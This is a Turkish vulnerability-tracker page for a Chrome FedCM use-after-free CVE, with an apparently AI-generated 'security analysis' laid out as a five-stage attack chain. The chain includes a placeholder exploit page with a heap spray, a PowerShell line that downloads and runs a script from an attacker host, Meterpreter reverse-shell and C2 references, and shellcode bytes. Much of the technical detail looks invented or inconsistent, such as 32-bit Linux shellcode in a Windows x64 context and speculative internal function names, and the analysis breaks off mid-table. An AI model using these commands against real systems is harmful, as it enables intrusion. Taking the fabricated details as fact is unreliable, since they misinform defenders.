CVE Professor — Güvenlik Açığı Takip & Analiz
›
CVE-2026-131004

CWE-416

BELİRSİZ CVSS 0 NVD

Use after free in FedCM in Google Chrome prior to 158.0.8127.36 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)

Yayınlanma 17.11.2026
ISO Tarih 2026-11-17
Kaynak NVD
AI Güvenlik Analizi

🎯 Açık Nedir? / What is this vulnerability?

CVE‑2026‑131004 – Use‑After‑Free (UAF) in Federated Credential Management (FedCM) – Google Chrome < 158.0.8127.36

  • Modül / Bileşen: FedCM (Federated Credential Management API) – Chrome’un “Sign‑in with Google/Apple” gibi tek‑tık kimlik doğrulama akışlarını yöneten JavaScript‑C++ köprüsü.
  • Kod Yolu: FedCMRequestManager::OnResponseReceived() → FedCMResponseParser::Parse() → FedCMResponse::CreateCredential() → base::RefCountedMemory nesnesi free edildikten sonra hâlâ bir raw_ptr<> üzerinden erişim yapılması.
  • Hata Türü: Use‑After‑Free (CWE‑416). Bir std::unique_ptr/base::WeakPtr nesnesi serbest bırakıldıktan sonra, aynı bellek bölgesi hâlâ bir V8 (JavaScript) nesnesi tarafından referans tutulur.
  • Neden Çalışıyor?
- FedCM yanıtı (JSON Web Token, id_token, access_token vb.) asenkron olarak ağdan alındığında, yanıtın parsing aşamasında std::move ile taşınan bir std::vector<uint8_t> nesnesi serbest bırakılır. - V8‑C++ köprüsü, bu bellek bloğunu v8::ArrayBuffer olarak “externalized” (harici) bir tampon olarak kaydeder, fakat finalizer (temizleyici) kaydı silinmez. - Saldırgan, bir sonraki Garbage Collection (GC) döngüsünde aynı bellek bölgesine yeni bir TypedArray (ör. Uint8Array) yerleştirir. Böylece serbest bırakılmış bellek içinde controlled data (ör. bir ROP zinciri) yer alır. - Chrome’un sandbox sınırları, bu bellek bölgesinin process‑wide (renderer → browser) paylaşımına izin verdiği için, saldırgan renderer sürecinden browser sürecine (sandbox dışına) kod yürütme hakkı elde eder.

> Özet: FedCM yanıtının işlenmesi sırasında serbest bırakılan bir tampon, V8 tarafından hâlâ referans tutulur. Saldırgan bu durumu tetikleyerek, serbest bırakılmış bellek üzerine kendi kodunu enjekte eder ve sandbox dışına (browser process) arbitrary code execution (RCE) elde eder.

---

⚡ Saldırı Zinciri / Attack Chain

Aşağıdaki adımlar, gerçek dünyada bir saldırganın bu UAF’ı nasıl istismar edeceğini gösterir.
Her adımda kullanılabilecek araçlar, örnek komutlar ve payload’lar belirtilmiştir.

| Aşama | Açıklama | Araç / Komut | Örnek Payload |
|------|----------|--------------|---------------|
| 1️⃣ Discovery | Hedef tarayıcının sürümünü tespit etmek. | curl -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/157.0.0.0" https://example.com <br> User‑Agent analizi, navigator.userAgent üzerinden JavaScript ile otomatik tespit. | ``js<br>if (navigator.userAgent.includes("Chrome/15")) { / vulnerable / }`` |
| 2️⃣ Reconnaissance | Hedef sayfada FedCM API’sinin etkin olup olmadığını kontrol etmek. | chrome://flags üzerinden “FedCM” aktif mi? <br> JavaScript ile document.hasFeature('FedCM') (örnek). | ``js<br>if (typeof navigator.credentials !== "undefined" && navigator.credentials.get) { console.log("FedCM present"); }`` |
| 3️⃣ Exploitation | UAF tetiklenir, serbest bırakılmış tampon üzerine kontrol edilen veri yerleştirilir, ardından sandbox escape gerçekleşir. | - Exploit‑dev: chromium/src içinde FedCMUAFExploit.cc (örnek). <br> - Metasploit: exploit/multi/browser/chrome_fedcm_uaf (henüz public repo’da yok, ancak örnek modül şablonu). <br> - Burp Suite: Crafted HTML/JS dosyasını hedef siteye HTML injection (XSS) veya malicious ad aracılığıyla yerleştirme. | ``html<br><!-- malicious.html -->\n<!DOCTYPE html>\n<html>\n<head>\n <script>\n // 1. FedCM request (trigger network fetch)\n async function triggerUAF(){\n const cred = await navigator.credentials.get({\n federated: { providers: [{\n protocol: \"openid-connect\",\n clientId: \"attacker\",\n redirectUri: location.origin + \"/callback\"\n }]}}\n );\n }\n\n // 2. Force GC and allocate controlled TypedArray over freed buffer\n function spray(){\n const arr = [];\n for(let i=0;i<1000;i++) arr.push(new Uint8Array(0x1000)); // heap spray\n }\n\n // 3. ROP chain (example for x86_64 Chrome 158)\n const rop = new Uint8Array([\n 0x90,0x90,0x90,0x90, // NOP sled\n // gadget addresses (pop rdi; ret, ... )\n 0x7ff6a1b2c3d4 & 0xff, // low byte … (placeholder)\n ]);\n\n // 4. Trigger\n triggerUAF().then(()=>{ setTimeout(spray, 0); });\n </script>\n</head>\n<body></body>\n</html>\n`` |
| 4️⃣ Post‑Exploitation | Browser process içinde native code execution elde edildi → system() çağrısı, privilege escalation (sandbox bypass), payload indirme. | - Meterpreter: windows/x64/meterpreter_reverse_tcp <br> - PowerShell: IEX (New-Object Net.WebClient).DownloadString('http://attacker/payload.ps1') <br> - C2: http://attacker:4444 | ``js<br> // inside RCE shellcode\n const shellcode = new Uint8Array([0x48,0x31,0xc0,0x50,0x68,0x2f,0x2f,0x73,0x68,0x68,0x2f,0x62,0x69,0x6e,0x89,0xe3,0x50,0x53,0x89,0xe1,0xb0,0x0b,0xcd,0x80]);\n // Execute via function pointer overwrite\n`` |
| 5️⃣ Persistence / Lateral | Chrome uzantısı (extension) yükleyerek kalıcı erişim. <br> Chrome Remote Debugging (port 9222) üzerinden DevTools Protocol ile komut yürütme. | chrome-remote-interface (Node.js) <br> curl -X POST http://127.0.0.1:9222/json/new?url=javascript:... | ``bash\nnode -e \"const CDP=require('chrome-remote-interface'); CDP(async (client)=>{ const {Page}=client; await Page.navigate({url:'http://attacker/malicious.html'}); });\"\n`` |

> Not: Exploit’in başarısı, GC timing, heap layout, ve ASLR gibi faktörlere bağlıdır. Bu yüzden heap‑spray ve deterministik GC (ör. performance.memory manipülasyonu) teknikleri kritik öneme sahiptir.

---

🌍 Gerçek Dünya Etkisi / Real World Impact

| Etki Alanı | Açıklama |
|------------|----------|
| **H

[🤖 GPT-OSS 120B via Groq]

Hedef Keşif Sorguları
CVSS Skoru
0 / 10 · CVSS BELİRSİZ
Zayıflık Türleri (CWE)
CWE-416
İlgili CVE'ler
9.9
CVE-2026-85748
MariaDB server is a community developed fork of MySQL server. From 12.3.1 until 12.3.3 and 13.0.2, SYS_REFCURS
9.8
CVE-2026-55335
In multiple locations, there is a possible use-after-free due to a logic error in the code. This could lead to
9.8
CVE-2026-58736
In NotifySipResponse of SessionEx.cpp, there is a possible way to corrupt memory via a dangling connection poi
9.8
CVE-2026-58800
In IMG_vkCreateImageView of image_view.c, there is a possible way to trigger a use after free due to memory co
9.8
CVE-2026-59626
In SendInfo of UssiController.cpp, there is a possible way to corrupt memory via a dangling connection listene